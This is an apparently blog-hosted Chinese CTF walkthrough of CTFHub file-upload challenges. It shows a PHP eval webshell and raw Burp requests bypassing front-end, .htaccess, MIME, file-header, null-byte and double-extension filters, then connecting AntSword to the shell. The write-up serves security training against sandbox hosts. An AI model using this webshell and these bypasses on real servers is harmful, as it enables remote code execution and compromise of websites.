[CTFHub] Web 文件上传 Write ups

无验证

新建php文件,上传。

<?php @eval($_POST["password"]);?>

页面回显上传的文件的相对路径:

upload/sh.php

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/sh.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST[“password”]一致。

连接后查看网站文件,发现flag。

前端验证

用Burp Suite抓包页面发现JavaScript源码:

function checkfilesuffix()
{
    var file=document.getElementsByName('file')[0]['value'];
    if(file==""||file==null)
    {
        alert("请添加上传文件");
        return false;
    }
    else
    {
        var whitelist=new Array(".jpg",".png",".gif");
        var file_suffix=file.substring(file.lastIndexOf("."));
        if(whitelist.indexOf(file_suffix) == -1)
        {
            alert("该文件不允许上传");
            return false;
        }
    }
}

分析源码发现,只允许上传 .jpg .png .gif 这三种文件类型。

新建php文件,将文件后缀修改为 .php.jpg ,然后上传。

<?php @eval($_POST["password"]);?>

利用Burp Suite抓包:

POST / HTTP/1.1
Host: challenge-93d09a71cf31141f.sandbox.ctfhub.com:10080
Content-Length: 314
Cache-Control: max-age=0
Origin: http://challenge-93d09a71cf31141f.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFlwLA82ViKOQKBVw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-93d09a71cf31141f.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryFlwLA82ViKOQKBVw
Content-Disposition: form-data; name="file"; filename="she.php"
Content-Type: image/jpeg

<?php @eval($_POST["password"]);?>
------WebKitFormBoundaryFlwLA82ViKOQKBVw
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryFlwLA82ViKOQKBVw--

将Content-Disposition: form-data; name=“file”; filename="she.php.jpg"中的she.php.jpg改为she.php,然后放包。

页面回显上传的文件的相对路径:

upload/she.php

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/she.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST[“password”]一致。

连接后查看网站文件,发现flag。

.htaccess

知识点

  • **.htaccess文件,**分布式配置文件,全称是Hypertext Access(超文本入口)
  • 它提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录
  • 作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置
  • .htaccess文件是用于apache服务器下的控制文件访问的配置文件,因此Nginx下是不会生效的
  • .htaccess可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档、文件的跳转等功能

创建文件.htaccess,写入

AddType application/x-httpd-php .png
  • 作用是将 png 解析为 php

然后上传.htaccess

.htaccess另外一个写法
可以在.htaccess 加入php解析规则,把文件名包含1的解析成php
<FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch>
例如文件1.png, 就会以php执行。

创建文件1.png,写入

<?php @eval($_POST["password"]);?>

页面回显上传的文件的相对路径:

upload/1.png

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/1.png
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST[“password”]一致。

连接后查看网站文件,发现flag。

MIME绕过

知识点

  • MIME(multipurpose Internet mail extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
  • MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。

新建php文件,上传。

<?php @eval($_POST["password"]);?>

用Burp Suite截包

POST / HTTP/1.1
Host: challenge-3da65d6392ab375d.sandbox.ctfhub.com:10080
Content-Length: 329
Cache-Control: max-age=0
Origin: http://challenge-3da65d6392ab375d.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqSqmZMYn2GjVFjPL
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-3da65d6392ab375d.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryqSqmZMYn2GjVFjPL
Content-Disposition: form-data; name="file"; filename="mime.php"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundaryqSqmZMYn2GjVFjPL
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryqSqmZMYn2GjVFjPL--

修改 Content-Type: application/octet-stream 为 Content-Type: image/gif,然后放包。

页面回显上传的文件的相对路径:

upload/mime.php

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/mime.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST[“password”]一致。

连接后查看网站文件,发现flag。

文件头检查

新建mime.php文件。

<?php @eval($_POST["password"]);?>

准备好一张1.png图片,可以用截图。

在终端使用命令

copy 1.png/b+mime.php/a 2.php

上传2.php,用Burp Suite截包

POST / HTTP/1.1
Host: challenge-807c5a94a2a2baeb.sandbox.ctfhub.com:10080
Content-Length: 408
Cache-Control: max-age=0
Origin: http://challenge-807c5a94a2a2baeb.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4slgB48rTk0v3ath
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-807c5a94a2a2baeb.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundary4slgB48rTk0v3ath
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: application/octet-stream

‰PNG

修改 Content-Type: application/octet-stream 为 Content-Type: image/png,然后放包。

页面回显上传的文件的相对路径:

upload/2.php

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/2.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST[“password”]一致。

连接后查看网站文件,发现flag。

00截断

知识点

0x00 , %00 , /00 之类的截断,都是一样的,只是不同表示而已。

在url中 %00 表示ascll码中的 0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。

比如:

https://xxx.com/upload/?filename=test.txt 此时输出的是test.txt

加上 %00

https://xxx.com/upload/?filename=test.php%00.txt 此时输出的是test.php

这样就绕过了后缀限制,可以上传webshell啦~

注:php版本要 小于5.3.4 ,5.3.4及以上已经修复该问题

新建00.php文件,上传。

<?php @eval($_POST["password"]);?>

用Burp Suite截包

POST /?road=/var/www/html/upload/ HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.php"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--

截包发现road参数是/var/www/html/upload/,因此我们知道我们上传的文件是在这个目录下。但这不是真正的文件路径,具体的文件路径在JavaScript源码里面

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension']; //首先取到上传文件的扩展名$ext
    $whitelist = array("jpg", "png", "gif");
    if (in_array($ext, $whitelist)) { //将扩展名与白名单进行匹配,为jpg、png或gif才能通过第一次过滤
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; //扩展名匹配之后,为上传的文件构造了一个新的存储路径$des
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";·
    }
}

$des组成了我们最后的上传路径,如果我们把$_GET[‘road’]加入截断字符%00,那么之后所有的路径都会被截断,使得$des = $_GET[‘road’] . “/” . rand(10, 99) . date(“YmdHis”) . “.” . $ext;这段真正有效的是$des = $_GET[‘road’],因为在move_uploaded_file($_FILES[‘file’][‘tmp_name’], $des)这个函数里读取$des时遇到截断字符%00发生了截断,导致存入路径就到%00之前,从而实现绕过白名单。

用Burp Suite截包

POST /?road=/var/www/html/upload/ HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.php"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--

修改 filename=“00.php” 为 filename=“00.php%00;.jpg”,这里只要以白名单里面的后缀结尾就行了,前面无论是什么都没有关系,这里可以有很多答案。

修改POST /?road=/var/www/html/upload/ HTTP/1.1,为

POST /?road=/var/www/html/upload/00.php%00;.jpg HTTP/1.1

这里只要存在截断字符%00就行,截断字符之前是我们真正的文件名,%00后面无论是什么都没有关系,最后在move_uploaded_file()函数里都会被截断。

变为

POST /?road=/var/www/html/upload/00.php%00;.jpg HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.php%00;.jpg"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--

或者

POST /?road=/var/www/html/upload/00.php%00 HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.jpg"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--

然后放包。

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/00.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST[“password”]一致。

连接后查看网站文件,发现flag。

双写后缀

用Burp Suite截包,发现源码:

$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);

系统会自动把php字符替换成空字符,所以我们把php拆分开来,插入php,这样我们就可以在第一次过滤后依然存在php后缀。

新建00.php文件,上传。

<?php @eval($_POST["password"]);?>

用Burp Suite截包

POST / HTTP/1.1
Host: challenge-f689fdd527fc88df.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-f689fdd527fc88df.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywsdBSAMfDwZE9zw2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-f689fdd527fc88df.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarywsdBSAMfDwZE9zw2
Content-Disposition: form-data; name="file"; filename="00.php"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundarywsdBSAMfDwZE9zw2
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarywsdBSAMfDwZE9zw2--

修改 filename=“00.php” 为 filename=“00.pphphp”,然后放包。

页面回显上传的文件的相对路径:

upload/00.php

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/00.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST[“password”]一致。

连接后查看网站文件,发现flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值